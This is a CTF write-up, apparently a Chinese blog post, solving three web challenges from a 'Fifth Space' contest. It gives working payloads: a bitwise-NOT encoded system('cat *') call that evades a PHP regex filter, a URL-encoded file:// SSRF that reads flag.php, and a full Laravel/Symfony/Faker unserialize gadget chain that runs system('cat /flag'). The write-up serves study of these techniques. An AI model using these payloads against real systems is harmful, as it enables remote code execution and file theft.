“第五空间”智能安全大赛Web-wp

1.hate-php

源码

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

正则过滤了和flag有关的字母,blacklist过滤了所有内置函数和自定义函数。
需要用取反构造shell绕过正则。
取反如下:

<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"cat *");
?>
//%8C%86%8C%8B%9A%92<br>%9C%9E%8B%DF%D5

构造shell:

http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))

得到flag。

2.do you know

源码index.php

<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);

从源码知道,要输入两个参数,先过一下黑名单,然后用explode函数将两个参数分开,以及两个参数的键和值也分开。

if($a_key==$b_key)
{
    die("trick");
}

上面的代码可知键名不能一样。

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}

其次,如果两个值不相等,并且参数的个数不为1,die('be it so');参数的个数一定不等于1,所以要构造两个值相等来绕过。

foreach($_GET as $key=>$value)
{
        $url=$value;
}

接着遍历我们的键名键值,然后将url赋值为我们传入的键值,可以用curl的file协议进行ssrf攻击,但是file在黑名单里,我们可以用url编码绕过。
构造shell:

http://121.36.64.91/?s1mple=file:///var/www/html/flag.php&simple=file:///var/www/html/flag.php
http://121.36.64.91/?s1mple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&simple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

得到flag。

3.laravel

下载附件代码审计,laravel框架有一些反序列化等问题。
代码审计,在app/Http/Controllers/TaskController.php中发现p参数可以实现反序列化,如下。

<?php
namespace App\Http\Controllers;
class TaskController
{
 public function index(){
	 if(isset($_GET[‘p‘])){
		 unserialize($_GET[‘p‘]);
	 }
 return "There is an param names p (get)";
 }
}
?>

然后寻找析构函数、构造函数以及call魔法函数,在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中发现了析构函数__destruct()和构造函数__construct(),并且parent参数可控,如下。

public function __construct(RouteCollection $parent, RouteCollection $route)
    {
        $this->parent = $parent;
        $this->route = $route;
    }

    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }

析构函数调用了addCollection方法,全局搜索addCollection方法,发现没什么用,所以想到调用对象中不存在的方法从而调用call方法,因此全局搜索call方法;
这里引用 vendor/fzaninotto/faker/src/Faker/Generator.php 下的call方法,因为我们可以追溯Generator.php 的代码,发现format可以调用一个回调函数getFormatter;

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

跟进getFormatter函数;

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf(‘Unknown formatter "%s"‘, $formatter));
    }

这里我们可以看到getFormatter的返回值也是可控的,我们如果想要调用回调函数,就需要访问一个对象中没有的属性去触发call方法,然后进入format方法,format方法中定义了回调的函数,深入getformatter方法,这里让其返回值$this->formatters为一个数组,键值为system;然后键名就为addCollection,这里$formatter追溯一下就是$method;然而由于call的特性,导致我们触发call的时候call的$method默认就是addCollection,所以这里就可以直接调用了system方法.

至于参数,因为当初调用了call方法,由于call方法的特性,这里参数默认为$this->route即$attributes;所以对于参数而言,我们只需要输入我们的命令即可。开始构造exp;

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        public $parent;  //这php版本为7.1之上的,对于属性类型并不敏感,所以为了方便直接public;
        public $route;
        public function __construct($parent,$route)
    {
        $this->parent = $parent;
        $this->route = $route;
        }
    }
}

namespace Faker{        //进入Generator.php中做文章
    class Generator{
        public $providers = array();    //截取原来的部分代码,出题人早已经计划好了,已经定义了数组类型;
        public $formatters = array();

        public function __construct(){
            $this->formatters = array("addCollection"=>"system");  //赋值为此以为最后需要通过析构函数addCollection这个来指向键值调用system;所以直接让addCollection为键名;
        }

    }
}
namespace{
    $s1mple = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");//利用构造函数赋值;
    echo serialize($s1mple);
}

得到flag。

参考连接:
https://www.cnblogs.com/clqnotes/p/5spacectf-web-writeup.html
https://www.cnblogs.com/yesec/p/12450269.html
http://www.mamicode.com/info-detail-3045728.html、

2020-7-23 第一周

posted @ 2020-07-23 11:22  4U  阅读(226)  评论(0)    收藏  举报